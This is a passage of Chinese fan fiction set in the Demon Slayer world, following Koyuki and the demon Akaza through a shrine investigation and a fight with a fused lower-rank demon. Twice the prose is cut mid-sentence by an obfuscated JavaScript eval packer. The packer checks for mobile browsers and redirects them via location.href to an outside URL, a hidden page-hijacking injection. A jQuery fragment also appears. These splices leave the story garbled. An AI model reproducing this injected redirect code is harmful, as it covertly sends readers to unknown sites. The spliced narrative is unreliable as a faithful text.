不要再说了不要再说了不要再说了不要再说了! 躲避了一百年的阳光,仿佛在这一刻悉数归来,熊熊灼烧着他的身体。 仿佛,只要她再说下去,他就会听见什么他一百年、一千年、一万年都不愿意听见的—— “然后我们白头偕老,永结同心。你继承了道场,素流道场越来越有名,越来越壮大,我们有了很多徒弟,爸爸很欣慰。和可爱的学生们一起,每年夏天大家都去镇上看花火大会,每年盂兰盆节,我们去给我的母亲和你的父亲扫墓。青梅竹马,寻常夫妻,相知相伴,我们一起经营道场、一起烹调三餐、一起到庙里进香祈福,我们……就此度过一生。”她轻柔的双手,轻轻地,握住了他被罪人纹身染得深蓝的手。 果然她还是,没有办法对他道出那残忍的真相。 明明她不擅长说谎,但这巨大的谎言,却如此流利地从她舌尖吐露,如漫漫溪水流过。 是因为这谎言她曾日思夜想了千万遍吗? 还是因为,七分假三分真。 狛治,我常到寺庙去为你祈福是真的。 天照大神、白衣观音、不动明王、地藏菩萨、佛祖、仁慈的圣父和圣母,我全都跪过,全都求遍。重逢之后,一看见寺庙,一看见神堂,我便想起你。我向祂们祈告,我向祂们忏悔,向那八百万神明,向这天地中注视着我们的一切一切——只要你回归真我,只要你和我一起赎罪,我们一起,一起洗刷你所有的罪行和恶业。 但那被她握着双手的鬼,暗金瞳中仍是一片幽暗。 道场,成婚,少年夫妻,白头偕老。 啊,是啊,多么乏善可陈的、凡人们的过往。这是理所当然的吧,两个凡人,当然就拥有着这样平凡的过去。既然一百年的漫漫长夜里一次也没有回忆起来,一定是因为它太过无聊。 听见那俗人们平庸的幸福故事,他如饮鸩毒般剧烈鼓动的心,终于平静下来。 天地幽幽,人世之中,但听她低声说道:“我们重新开始吧。” 重新开始? “我们重新开始,一切还可以回头,还可以重来,只要狛治你……”她眼中闪动朦胧泪光。 狛治,又是狛治。 说到底,她只是在他身上找那个叫做狛治的人类的影子。 鬼的金瞳中倒映着苍茫山林,声音沙哑:“既然如此,那就更没有必要和我再续前缘了吧。” 原本还有几分僵硬的语气,越说越顺畅,仿佛他也,说服了他自己。 “过去的事情早就结束了,你曾经拥有过幸福的人生还不满足吗。现在的我和人类时的我不是同一个人,我所追求的是变强,绝对不是这些无聊的情感。” 除去在寻找蓝色彼岸花时看了几本植物相关的书,他根本懒得钻研人类的学问。但自己名字的含义,他岂会不知。 可笑,她是不是以为他不通文字,无知无觉? 猗窝座。猗,阉割的狗。无所谓,为了追求至高的力量,割舍掉什么都无所谓。 一百年前那个道场弟子,想必也只是个随波逐流的庸人、无能的弱者。他已经拥有了钢铁之躯,万箭穿心也不会疼痛,离至高之境界一步之遥的他,完全没有必要再回到那无聊的过往中去! 鬼不以为意地笑着。 然而被她轻轻握着的手,却怎么也抽不出来。 “无聊的情感……是这样吗?” “如果狛治哥哥你真的觉得无聊,为什么我说起这些无聊的往事的时候,你一次也不曾转过头来看我?” “狛治,你不敢看我。” 她的双瞳形如梅花,泪水洗过,洁净明澈,更如无边镜海明明。山林阴翳,一整个阴暗的世界、蛰伏于此间阴暗之世的厉鬼,毫无遁形地倒映在那两朵饱含泪水的、纤柔花朵之中。 【叮,攻略对象好感度上升,攻略对象好感度+10,目前好感度30。】 【请注意,该攻略对象对宿主有隐藏好感度,宿主可以尝试寻找方法解锁。】 8.你想让我帮你的话就叫我猗窝座 什么叫隐藏好感度,是指狛治失忆的事情吗?但现在看来,要唤醒他的记忆似乎并不容易。 比如眼下,她还没来得及深思那句提示,眼前人就已经—— “不要……不要再用那种悲哀的目光看着我,我不需要你的怜悯。” 他依然没有正视她,甚至完全将脸转过去,道:“你施加在我身上的同情和悲哀,令我很不自在……我不需要。” “我的表情,令你以为是怜悯和同情吗?不过我没有怜悯你,也没有同情你。如果要说的话,说是怜惜或许更合适一些,”她原想说这一百年来你是如何度过呢,鬼舞辻无惨对你是否有许多压迫,又想到他如今无比的好胜,问了大约也是白问,最后那许多疑问只化作一句,“喜欢一个人当然就会对他产生怜惜之情,这不是很正常吗。” 看来劝他和她重新开始的话题,今天是无法进行下去了。 她仿佛玩笑般道:“而且我经历了那么多事情,有时候多愁善感一些也很正常,狛治哥哥你就体谅体谅我如何?” 晶莹清泪依然盈盈在她眼底,垂落时,如同洁白花瓣上垂下露水。山林密密阴暗,唯一一点光亮都在这一珠小小的泪中。 这个角度看不到他的眼神,只能看到那修长的睫一刻不停地颤抖着,腮也紧咬,苍白的侧脸浮出青筋一道。有一瞬间,他的侧颜微微颤动,似乎是想转过头来,而后,几乎是瞬息之间,上弦之三的身影就已从她眼前消失。 这是,落荒而逃了? 是她一口气说了太多,他一时缓不过来么? 明明从前两个人一直在那小小的房间中谈天,说锦鲤,说香道,说她从书中新读的文章,说他在庭前新剪的盆栽,忽然间,她在那一千句一万句里悄然夹带了一句,“狛治哥哥,我真喜欢你”,他再脸红,也从没有逃跑过。 算了,反正他也已经一句不落地将她的心意听清。今天不行,还有明天、后天,她并不认为他如今的心是一块顽石。 哪怕真是顽石,情之所至,难道不能金石为开么。 她还有任务在身呢。 穿过漫漫山林,前方豁然开朗,露出一线阳光。是通往神社的道路。 路边,歪倒着一尊小小的石佛。 大概是因为神社信仰变更,侍奉起了新的神灵,所以原来的菩萨被赶出来了吧。 恋雪半蹲而下,将它从荒草中扶正,双手合十,乌黑的睫垂下,口中轻声祈愿。菩萨,如果您在看着,就请…… * 任务中的神社坐落在山腰,树影深绿,鸟居朱红,行人拾阶而上,沿石头阶梯可以看到小心山地熊的手写指示牌。 有几个明显不是神职人员的人在阶上清扫落叶。是义工吗? 来前,她已经把日轮刀藏起。那系统中居然预留了空位来隐藏武器,实在很贴心。 穿越鸟居,手水舍净心,摇铃,投币,合掌拍手,深鞠躬,身穿便服的她看上去就和一个前来参拜的寻常人家小姐无异。 “今日前来参拜,我的心灵宛如得到了净化一般。请问神社目前有什么奉仕活动或志愿者工作吗,如果可以的话,我也很想在这里当义工帮忙。” 社务所内,神主和巫女接见了她。这间神社规模不大,是新近才有了知名度的小神社,一应事务,几乎都是神主和巫女在维持。 一位身世清白教养优雅的小姐提出要当义工,神主一口应下。 神主是一个中年男性,巫女则看起来只比她大几岁,二人身上都没有鬼的气息,而且也可以如常在阳光下活动。无论是神社原本的神职人员,还是诚心为了信仰劳动的义工们,似乎都很正常。 她已经在此处当了三天义工了。 清扫整备,园艺协助,帮忙制作注连绳和纸垂,工作并不繁重,而且神社内人际氛围甚好,和乐融融,一人遇到小小的困难,其余人很快就会来搭一把手。 如果非要说的话,这座神社内,只有那个“神”本身让她有点不舒服。 那是一尊很像千手观音的神。但观音慈航普度,常是优婉垂目,那神像却是森目圆睁,仿佛逼视来人。且不止千手,还有四张面孔,前后左右黏连为一体。洒扫时恋雪仰望此像,常感到一阵不适。 之前听蜜璃前辈略带伤怀地说起过伊黑先生的“家族”曾把蛇鬼当神灵供奉,难道…… 但她察觉不到任何鬼的气息,神社内大半地点她也探查过,暂时没找到什么密道密室。 莫非失踪的香客真是因为附近有山地熊出没? “素山小姐,不来抽签吗?就差你了哦。” 今天大家一起清扫了拜殿,清洁和参拜过后,朝雾巫女提出来抽签。 “来了!”恋雪接过签筒。 第一签,欲碾香轮去,高山千万重。是凶。 第二签,意坚无船渡,波深必误身。又是凶。 第三签,第四签,第五签,第六签,凶凶凶凶。 第七签,安居且虑危,情深主别离,风飘波浪急,鸳鸯各自飞。最不祥的大凶。 巫女见她接连抽出凶签,也是难得一遇的霉运了,安慰道:“素山小姐,有些事强求不来,抽出凶签也无妨,将凶签系于树上,厄运便不会再跟随你归宅。” 众人也都纷纷附和,是啊是啊,素山小姐,没事的,把凶签挂到树上就好,不用太执着。殿外日光下,参天的古木上已系满白签,风过境,如千千苍白手指,指向不归处的远方。 恋雪却道:“巫女大人,我能再抽一签吗?” 见她如此执着,巫女叹惋般一笑,作了个请的手势。 最后一签。 玉石未分时,忧心更难悲。前途终有道,花发应残枝。终于,抽到一签末吉。虽然只是末吉,但恋雪白皙面容上绽放出淡淡笑影。前方会出现道路,就像枯萎的残枝重新开出花朵。她所求之事能有这小小的吉象,已经够了。 和她一起做义工的大家看见这位与世无争的素山小姐为了一签末吉能一连摇七八次签筒,都有些刮目相看。文雅温婉的小姐,在某些地方却意外的执着啊。 “不好意思,我居然一连抽了七八回,呀,我刚回过神来,太失礼了,抱歉……” “素山小姐是在祈求什么很重要的事情吗?” “嗯,是很重要的事情。”一定要执着的,她偏要强求的,重要的事情。 “是在想着喜欢的人吗?”有人打趣。 “你这观点也太老旧吧,说不定素山小姐是在备考大学呢……”另一名学生模样的年轻女孩道。 恋雪笑着,求饶般向众人摇摇手:“心愿说出来不是不灵了吗,大家饶了我吧。” 她实在不擅长说谎。万一大家真有兴趣追问,即使用春秋笔法描述成我的丈夫失忆了现在可能在某处斗殴所以我要劝他从良,也十分骇人听闻呀。至于大学,过几年等一切结束后她会备考的——说起来,前几天信子还给她寄了信,让她下周末去女高师找自己玩。 如果下周末有空的话,就去赴约吧。其实她很向往现代的大学。 午后抽签在神社内泛起的小涟漪,很快归于无痕。 入夜,神社来了几个登山迷路的外乡人,神主暂时请他们在斋馆留宿。 没想到她追查之事,竟因为这几个登山客的到来暴露了迹象。 起初,她不过是想起傍晚时防熊的金属门栏似乎没人关闭,想前去关门。顺便再探查一番还有没有什么蹊跷之处,自己有所疏漏。 然而幽林中传来那位神主先生的声音。 是神主先生也来锁门吗? “好几天了,我交代朝雾巫女你办的事情,你完全没办啊。” “那几个外乡人死了正好,什么登山客,看他们的打扮根本就是流浪者吧,居然敢说自己是登山客……要是在大正之前的年代,这就是流民、流民!死了也不会有人在乎。” “神主阁下,我不想再做这种事情了,这根本是不纯的信仰……!” 一声清脆的巴掌声响起。 “你说这种话是不想活了吗,小心神明大人听到!” “明天就给那几个外乡人送上加了迷药的茶水,然后把他们引到神像后的地下室去吧。还有,只有那几个祭品不知道够不够,从新来的义工里也挑一两个……那个素山也是外地人吧。” 巫女没有应答。 片刻寂静后,林中响起女子低声的啜泣。 “你哭什么,真是晦气……要不是神明大人,这座神社早就废弃了,你也对‘祂’存有一些感激之心吧。凭你这个孤女,你以为你能维持这座祖传的神社吗……” * 其实那个神主要带她去所谓的地下室,正合她意。这次任务前,蝶屋的孩子们给她塞了几瓶通用的解药,蒙汗药不值一提。不过那几个无辜的异乡客,她绝不能让他们送死。 但幽暗夜色中,朝雾巫女比恋雪先一步找上了那几人。 “神社经营困难,实在没有办法收留外人,请各位明天一早就离开吧。很抱歉在各位出发前也无法备下茶点送行。” 黯淡的灯火映着巫女深深鞠躬的瘦弱身影。 “巫女大人请快起来,神社收留我们一天我们已经很感激了,明天一早我们就会启程。”风霜满面的旅客箭步上前,将巫女扶起。 从斋馆的房间出来时,毫无疑问地,巫女看到了等在走廊上的恋雪。 “素山小姐还不就寝吗?” 白衣绯袴的巫女含着歉意一笑:“刚才的话,素山小姐想必也听到了吧。神社有些经济困难,其实……已经连义工的伙食都很难稳定提供。明天一早,还请素山小姐和做义工的大家也一同离去吧。” 庭前,石灯已经点起。夜樱飘洒,风吹花雪。经淡淡灯色一照,飞花如金粉朱屑,纷纷扬扬。 走廊下纤弱的女子忽然发问。 “巫女大人是决定自己一个人留下来对付那个所谓的神明吗?” 走在她身旁的巫女身形一顿,缓缓地、怔愣地转过头来。 “素山小姐,你……你是什么时候听到我和神主大人的……请务必三缄其口,不要对外人提起,天一亮就赶紧和大家下山去吧,”巫女隐忍再三,终于含泪道出真相,“这里已经不是神社了,是恶魔的巢穴。真是可耻啊,过了这么久我才鼓起勇气提醒大家……明明身为这座神社的巫女,我却如此失职,我……” “那个东西大概不是什么恶魔,是鬼。关于鬼的事情,说来话长。不过巫女大人不用担心,我就是猎鬼人。” “什么?” “其实我是为了最近神社里有香客失踪的事情来的,我们怀疑这座神社内有鬼。如果那位神主说的‘送上祭品’,就是纵容所谓的神灵吃人的话,正是鬼无误了。” 恋雪恬淡一笑:“即使不是鬼,是别的什么妖怪,我大概也能对付。” 大概吧,如果世界上真有除了鬼以外的妖物的话,日轮刀应该也能斩除别的妖怪……不过说起来世上虽然有鬼,但从来没见过什么河童、酒吞、虎怪呢,河童和酒吞造型的鬼她以前倒是斩除了不少。当时蜜璃前辈还一直啧啧称奇说居然有把自己捯饬成秃头乌龟造型的鬼,真是古怪的审美。 “素山小姐,请您……请您一定要救救大家,救救这座我心爱的神社……”巫女握着恋雪纤长素净的手,如同在苦海中握住一束杨枝一般,依靠着她,身影缓缓滑坐下去。 “我会的,我会的,”恋雪连忙将她搀扶住,“请不要担心,我一定竭尽所能斩除那个邪物。” 灯光、花光、月光,庭中漫溢而上的光辉,皆如丝弦般在她鬓边闪烁着,描出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她沉静的眸迎上他拧成一团的眉,笑颜不改。 三日前他不过是懒得和她胡搅蛮缠才离去,她怎么敢夸口说什么他没有勇气,她怎么敢……极其烦躁地,猗窝座将深蓝手指插入粉红短发中,胡乱地抓几下。 真是可笑,难道他就任她随意嘲弄取笑不成? 一息之间,那张俊美的脸已极度贴近恋雪,咫尺之隔。来势汹汹,他投下的阴影,如同幽蓝磷火般将她笼罩。 “恋雪小姐,什么叫我不敢看你?”鬼仿佛从容肆意地笑着,花豹般金瞳一转也不转地紧凝她。 四目相对,就连鼻尖也快要碰到一起。 她纤美的薄背却依然亭亭挺立,俨然是,飓风之下,波心不动。 只有她自己知道,她的心是如何潮涌。 “我还以为那天之后,狛治你跑远了呢。没想到你会专门来提醒我,谢谢你。”她莞尔。 眼前的女子微笑道:“你这样专注地看着我,虽然我有点害羞,可我也一样很开心。” “你真是……”猗窝座咬牙切齿地挤出三个字来,后面的话,却是没影了。 战无不胜的上弦之三,只觉自己一次次在这个女人面前败下阵来。 当日一别,她似乎有所收敛,如他所愿,收起那令他不自在的悲悯目光。但没有泪水,没有怜悯,对上她盈盈笑眼,他的心依然异样地跳动着,无比烦躁。 对一个凡人堆里的佼佼者、可造之材,他向来只有猛兽挑中猎物的喜悦,唯有她,那喜悦之中平添了许多烦闷和恼恨。 难得觅到一个知晓那至高领域的玩伴,他怎么肯放她出离他的掌心?只好时不时看她几眼吧,她修行锤炼,他暗中端详她的进步,品评着,心生许多喜悦,她要帮助那些无能的弱者,他蔑笑一声,觉得她多管闲事、浪费时间,她不顾自身也要闯那难关,他的喜悦便逐渐逐渐消散了。 她说他们曾是少年恋人,他只感到巨大的痛苦沉沉压下,仿佛一旦深思,他便会从万丈深渊跌落。 在那寂静的山林里,那孤独的月色中,他真想划开百年来从未有过生机的胸膛,把那颗因她而斑驳不清的心掏出来看一看。 你真是,你真是什么? 他没说完,她却轻轻张开淡红的唇。 她纤长的手,轻轻覆上他冰凉的手,他指节分明的宽大的掌顷刻被她捧在手中。 “如果我对付那个下弦很勉强,鎹鸦请求支援也来不及的话,狛治哥哥你会帮我吗?”她柔声道。 不知沾染了多少血腥的杀人的手被女子白皙皎洁双手捧起,恶鬼的眸光一顿。 “我已经说过,不要用那个名字称呼我。” 这句话不过是为了掩饰他一瞬间的心跳。 但她当真改了口。 “好,请问猗窝座先生你会帮我吗?”她的花瞳中有一泓轻柔笑意。 叫狛治是哥哥,叫猗窝座却是先生吗。 如果不是那个所谓的狛治就是被他舍弃的、肉体凡胎时的名字,他一定会把所有叫狛治的人都挫骨扬灰。 猗窝座语气有淡淡的不屑:“你身上有那位大人赏识的东西,我还不至于让你去送死。当然,我也不会杀那个鬼,只能保证你不受伤不出事而已。” 那位大人交代过的任务,这一刻他终于在心中想起。 这三天他一直在暗处看着她,却一步也不曾上前,把她转化为鬼的事情,他竟已全然抛之脑后。哈,被那位大人知道的话,免不了七窍流血的责罚。 她这几天的一举一动,他全都知道。 什么抽签,什么重要的执着的事情,什么喜欢的人,什么夙世因缘,完全是……不值一提的,无聊的……她抽那御神签的时候,是不是因为他? “再叫一次。” “什么?” “我的名字,猗窝座。你想让我帮你,就再叫一次我的名字。” “好的,猗窝座先生。”她笑语盈盈,将他的名字再度重复。 猗窝座。千重万重的罪恶、憎恨和血腥从它的三个音节上奔涌而过。她当真知道吗? 他看见她沉静花瞳照出他的面容,从前世到今生。 9.你这猎鬼人居然带着一个鬼 一如猗窝座所说,蛰伏在神庙中的鬼已经察觉到猎鬼人的到来。 神主轻推房门,礼貌笑着,为恋雪端上茶水。 是无法使唤巫女后,亲自来了吗。 不过已经知道地下室就在神像之后的话,似乎,没有必要再喝这杯茶了吧?不如直接亮明身份,让这神主带路算了,不亮刀,仅靠素流的武术也完全能威慑他,然后…… 没等她计划完,一道青蓝拳风已轰然击出。 掺了蒙汗药的茶水翻倒在地。 风烟散去,墙面倒塌,那中年男人头破血流,歪倒在七零八落的砖块里。 “给她带路。”恶鬼捏着神主的脖子,将他整个人提到半空。 “你们、咳咳,你们是什么人,我可是这座神社的神主,你们冒犯我就是冒犯神明大——” 恶鬼神色冷漠,不屑地嗤笑一声,五指稍稍收紧,那神主便已一句话说不出来,头一歪,昏迷过去。 “恋雪,这家伙一点也不配合啊,现在还吓得昏迷过去了,”猗窝座回头冲恋雪一笑,“你要是答应再欠我一个人情,我就用上弦鬼对那些废物的读心术带你去找它怎么样?那神像之后的地道很长呢,你进去了一时半会也找不到它。” 这、这,好歹要再审问几句吧,怎么就这样把犯人掐晕了! 而且,似乎,不止掐晕…… “等等!狛、猗窝座先生,还是先别动手杀他,留着给警视厅的警官们处置吧,现在都二十世纪了,法律会处置他!而且杀了人的话,鬼杀队的善后工作会变得很麻烦……” 她已经向朝雾巫女了解过,这男人曾把喝了迷药的香客杀害后送入地下。因为那“神明”有时候似乎神志不清,为了它进食方便,神主会先行“宰杀祭品”。杀人罪已经够判处这个恶徒死刑,她实在,实在不想看到狛治手上又添人命。 只愿他不再垒高他的罪业,哪怕是从今天起。 “噢,好吧。”猗窝座掌一松,那神主便如装满了垃圾的麻布袋一般滚落榻榻米上。 短短一瞬间,他暗金的瞳却向地上茶水晕出的痕迹看了一眼。 待会趁她不注意的时候,再回来把这家伙杀了。 至于什么鬼杀队的善后工作……他巴不得他们原地解散。 * “猗窝座先生要我欠你人情是想干什么呢?” “不知道,等我以后想到了再说。” 扳回一局,身旁的鬼面带笑影,语调都微微上扬着,似乎心情不错。 “如果又是劝我加入鬼的阵营的话,我可不会答应的。” “变成鬼有什么不好?我实话实说吧,你的身体素质跟不上你的意志和感知力。就算你专注不懈磨炼这具肉体凡胎,也要花上好几年才能抹去那差距。与其浪费时间,不如变成直接变成鬼,鬼的力量,很快就能填补人类之躯所有缺点。” “这不是走了捷径吗?无论是武道还是其他的修行,都要脚踏实地去追求,光明磊落,堂堂正正,从前父亲一直如此教导着我们。” 若有人胆敢“污蔑”上弦之三、堂堂的斗之鬼在修行中走捷径,早已被他一拳打碎脑袋。 但走在恋雪身旁,与她几乎并肩,猗窝座只是轻轻哼了声。 仿佛猫科的猛兽给人叼来新鲜内脏,人却不懂得欣赏这猩红美味,一而再、再而三地推辞,令大猫很是懊恼。 他抱怨般道:“这不是捷径,我只是好心告诉你世上还有更高的山峰。你真是冥顽不灵,完全不领我的……” 忽然间,他抱怨的话停下了。 猗窝座侧过脸看她,一笑道:“那个鬼离你很近了。” 他低沉的笑轻轻搔着她淡红耳廓。 “放心吧,我会看着你的,”距离之近,他的鼻息亦浅浅喷出,如潮湿的雾,“恋雪。”她的名字,在他舌尖懒洋洋拖长。 下一刻,猗窝座的身影已经消失不见。 恋雪无暇回想他的暧昧,因为地道的分岔路口中、漆黑里,已亮起八个猩红光点。 或者说,八只眼睛。 她拔出日轮刀,不敢懈怠。 还真是和那尊神像一模一样。 多么可悲的模样啊。 她明白为什么狛治说“它”和一般的下弦不太一样了。 下弦二,下弦三,下弦四,下弦六,四颗脑袋缝合到了一具身躯上。不对,不是同一具身躯,它的身体,也是四副残躯合而为一。 四首八臂,眼前的恶鬼却不似湿婆神或阿修罗威风,反增许多黏腻和恶心。 而且,嗯,要同时砍下四颗头,和劈砍多株并生的合抱之树一样呢,难度也增大不少。 “女人……猎……鬼人……”又是男声,又是女声,前方的下弦四鬼喉咙中滚动着模糊不清的低嚎。 看来就像朝雾巫女说的一样,这个鬼有时候神志不清。 既然如此,就趁它还无法用理智战斗时,先给它一击—— 升天炽炎! 四颗头颅中,黑发尾端缀着几丛橙发的下弦之六最先发出哀嚎,大约因为下弦之六能力最弱,受创最严重。 但第一声痛苦的哀嚎过后,它依然尖啸不停。 一声声尖锐的鵺鸣袭来,居然是干扰感官的音爆攻击—— 被刺青染得深蓝的冰冷的手,及时从幽暗中伸出,捂住她的耳朵。 “你稍微小心一点吧,先把那个怪鸟的头给砍了,不然它一直妨碍你战斗。” 猗窝座金瞳微眯,仿佛有了什么有趣的小发现,嬉笑着,迫不及待和她分享:“恋雪,你觉不觉得它的发型和炎柱有点像?” “狛治,你不要这样背后说炼狱先生……” “说说怎么了,上回我还杀了他呢!”她居然给炎柱说话,他原本愉悦的心中升起一丝不满。 “上次你伤了炼狱先生的事,我结束今天的战斗后再和你辩驳,狛治哥哥,你的很多观点需要改变一下。” “你还要教育我?恋雪老师,我真是好紧张,好害怕!”俊美的恶鬼瞬间开怀,酒窝深深凹下,装腔作势地说着害怕,语调中却全是游戏人间的轻狂笑意,“还有,教育学生前要先记住学生的名字吧,叫我猗窝座。” “你们……在那边……自顾自说什么……”下弦六的头转过去,正对二人的,成了下弦四的少女面孔,声音随之变得娇憨俏皮,“该死的猎鬼人……赶紧去死,赶紧去死!” 和她的聊天被打断,猗窝座阴冷目光瞬间向那四鬼看去。 当日那位大人原想把下弦全都杀了,但一念之间,又留了他们一命,看看把四个下弦鬼融为一体能否诞生更强大的鬼。那位大人的本意,大概是希望四个下弦中的一个吸收了其他三个,成为半天狗那样有多重分身的存在。结果这四个废物谁也吸收不了谁,成了长着四颗脑袋的怪形。 且因四颗头的意识一直互斥,它甚至连理智都维持不了,完全没发现站在它们眼前的是上弦之三。 真是让人恶心的弱者、废物……不过,她就此杀了它的话,是不是能跻身成为柱?反正是那位大人从无限城扔出来的垃圾,给她凑个战绩也无妨。 她作为他最看中的人类,当然不能一直是个甲级队员。既然她暂时不愿意变成鬼,好歹也要有一层柱的身份来抬高她。而且成为柱就算出师了吧,起码,下次不用再看到她还跟着那个炎柱执行任务。 “这个下弦四的能力是藤蔓缠绕和投掷那些没用的果实。”轻描淡写地,他又在她耳畔提点一句。 “好的,谢谢你猗窝座先生。” 又是带她躲过那声波的攻击、又是给她提供情报,恋雪心觉好歹也要用猗窝座称呼他几次了。 藤蔓缠绕的话,就用水之呼吸,三之型,流流舞。 一番轻盈迅捷的闪避,配合着翻飞剑影,她短短几秒便突破重重藤蔓与爆裂的果实,挥剑至那怪形眼前。 蓝光闪动,四和六的头颅瞬间顺着她剑锋飞出。 好了,接下来就是—— 然而大约是被砍去两颗头颅,这被融合为一体的四鬼终于恢复理智。 下弦之三的瞳猛然缩小,须臾间,眼前臃肿庞大的鬼躯已极速闪现至地道另一端,将四和六的头颅抄起,搂在怀中。 地道昏暗,下弦鬼看不清猗窝座金瞳中的数字,他又无意出手杀了这曾经的同僚,以至于,它们一时不察眼前在一旁看戏的鬼是上弦之三。 “你这猎鬼人居然带着一个鬼!” 恋雪持剑攻上,自然而然地道:“他是我丈夫,我当然带着他。” 一瞬间,猗窝座面上优游轻狂的笑意僵住了。 神色极其不自然地、烦躁地,他抓了抓粉红的短发:“喂素山恋雪你不要乱说好不好,什么陈芝麻烂谷子还……” 但话未说完,下一刻,青蓝拳风已从恋雪身后狠厉擦过,打碎下弦之三血鬼术凝出的暗器。 鬼的眼中没有张扬笑意,也没有方才尴尬的烦躁,而是无限阴冷:“你这废物,偷袭别人很光荣吗?” “你不是鬼吗,为什么帮着人类——” 然而被眼前这个鬼气如山压迫的同类俯视着,曾经的下弦们,终于看清了他金瞳中的数字。 “不对、不对,你是……您是、是……上……弦……” 上弦之三大人! 臃肿的身躯伏地跪下,语气恭敬而惶恐:“原来是上弦之三大人,对不起、对不起,小的不知道是您亲临!” “是那位大人派您来验收我这几天的成果吗,托那位大人的恩典,属下获得了更强大的力量,这两个月来已经吃了很多、很多人类,很快就能重回十二鬼月之列为那位大人效力!” 猗窝座只觉得恶心。 吃了十几个人还是如此丑陋的姿态,连理智都只能勉强维持,真是低等。 那低等的废物,犹自跪在地上细数它所谓的战绩:“在这神社修养的期间我吃了十个青壮男人还有大概七八个妇孺……” 听见七八个妇孺,猗窝座目光更沉冷一分。 但还没等他出手—— “你这罪恶的怪物,我绝对,绝对不能饶恕你……!”恋雪淡蓝剑锋挥出,已再度向那下弦攻去。 下弦之四和下弦之六的头被斩落,虽然本体依然能用出四和六的血鬼术,但威力大不如前。何况,眼前的女剑士神色已经全然冷下,那音爆和藤蔓席卷而来,只如虚无的风掠过她身。 那下弦看这女剑士似是上弦之三大人的宠物,原想让她几招,但不过几秒之间,它已彻底明白非认真招架不可。 金鱼纹小袖深蓝行灯袴的女子挥剑而上,金橙、绀蓝,翩飞的鱼、涌动的水,华彩绚烂流转,水呼淡去,炎呼击出,火之光焰为她乌黑浓发描着金边,一剑又一剑,尽收他暗金的瞳中。 她俨然在他眼底闪着光。 但另一端的下弦,可全无上弦大人的好情致,还有心思欣赏恋雪的美丽。 糟了,这个女人的攻势太密了,根本腾不出空当把四和六的头颅安回去,不好、不好,怀中下弦之四、下弦之六的头也已经再次被她击落,算了,没空去捡了—— 剩余的两颗头,下弦之三转过一边,咔一声,与恋雪对战的主力成了下弦之二。 残躯融合一处,血淋淋,但隐约能辨清下弦之二穿着深蓝裤装,很像柔道的蓝色道服。 下弦二脸上黑纹寸寸开裂,霎时间,八只手都为它所用,拳风过处,密道内的砖石尽数撕裂。 居然和她还有狛治一样,也会用体术。 被它拳风击中的东西,还会撕裂。看来这就是它的血鬼术。被打到就会四分五裂……稍微有点危险呢。 恋雪微微调整了呼吸,身如白鹤,在那层层袭来的黑纹拳风间踏浪而行。 雪之呼吸,二之型。 漆黑地道里光辉绽开,万华盛放,青蓝流光飞舞,像星的流线,向千千万万个方向放射,将下弦之二的攻势轰然化解。 背后,俊美的鬼笑道:“你怎么又用这招?” 身处战局,她简洁答复:“因为我喜欢看烟花。” 他原想说,真巧,我也喜欢看烟花。但恐怕这么一说,她又蹬鼻子上脸,说出许多曾经他们是恋人、他们一起去看烟花云云的话来,太有损他面子,他犹豫一秒,索性缄口了。 但从降生之日起便沉浸战斗快感中的斗之鬼,如何能在兴奋起来的时刻依然保持沉默? 何况,看向她挥剑的流丽英姿,他只觉此身如被烈火点燃,遍体滚烫,血液奔流。 他已闪身至她背后。 “小心,你的体力一旦下降,身体强度很容易跟不上你的预判,不想受伤的话,你要学会精简掉几个动作继续提高速度。” “比如……这样!” 他笑起,扶着她的手,一息之间,带着她的日轮刀在那下弦身上精准狠厉地劈砍了十数下。 恋雪轻柔一笑:“好,我学会了,谢谢猗窝座先生提点。” “上弦之三大人,您、您为什么要帮这个女人!” 猗窝座不屑地笑道:“可能因为你太废物了吧,我很讨厌弱者,无论是人是鬼。像你这种废物,还是别浪费十二鬼月的名额了,趁早死了吧。” 转过头,他暗金双瞳紧紧睨着恋雪,明知故问:“你是甲级队员吗?” “是,怎么了?” “这家伙算四个下弦了,杀了十二鬼月不是能当上柱吗,我帮你把它的头砍下来怎么样,就当我们那么久没见面,我送你一份见面礼——”他已然兴奋,笑满整张脸,“这个礼物你要不要,立刻告诉我!” 但没想到,眼前的恋雪,关注点完全不在什么礼物,也不在杀了十二鬼月能当上柱。 “那么久是指?”他终于、终于想起来他们分别了上百年的光阴吗? 一愣,猗窝座旋即听出她此言何意,大笑道:“你在想什么,当然是指无限列车一别之后的这一个月!” 狛治哥哥你一直笑的样子,很像在虚张声势呢。 但是,算了。 “虽然有点不太好意思,不过狛、呃,猗窝座先生你要帮我的话,我就先收下你的一番心意了……” 这也算狛治哥哥曲线从良吧,虽然曲折了一点! 下弦的脖颈被猗窝座紧紧捏在掌中,用气声在哀嚎:“上弦之三大人,您、您怎么能,怎么能为了讨这个玩物欢心杀害您的同类……” 玩物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16943657|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这浅薄的、蔑视她的词语,无疑激怒了他。 一息之间,他甚至没用破坏杀,随意几拳就在它臃肿身躯上砸出几个深深的血窟窿。 “什么玩物?我都说了……不要胡编乱造!”说起身旁之人,猗窝座暗金瞳中阴冷散去,满是燃烧的兴奋和疯狂,“这可是我最近特别、特别喜欢的人类,低等的东西、废物、弱者,你连她一根头发丝都比不上!” 上弦之三蔑笑着,拳风又一掼,霎那,脑花飞溅。 恶鬼半蹲而下,拽着下弦之二的半长发,抓起这同类仅剩的、完整的头,逼迫它抬起恐惧目光: “现在,赶紧逃吧,在我和她抓到你之前——” 像裁判发枪,又像死神预告。 感到脖子上力道稍松,下弦尖叫一声,什么也顾不得了,即使下弦三只剩下半边脑袋,依然挣扎着,用出忍者鬼高速移动的血鬼术飞逃而去。 “等、等等,狛治哥哥你怎么让它跑了!” “这样游戏才好玩不是吗,”他回首,笑容妖异,玩心大盛,深蓝的五指转瞬锢住她白皙的腕,“那废物逃了,我带你去追吧!” 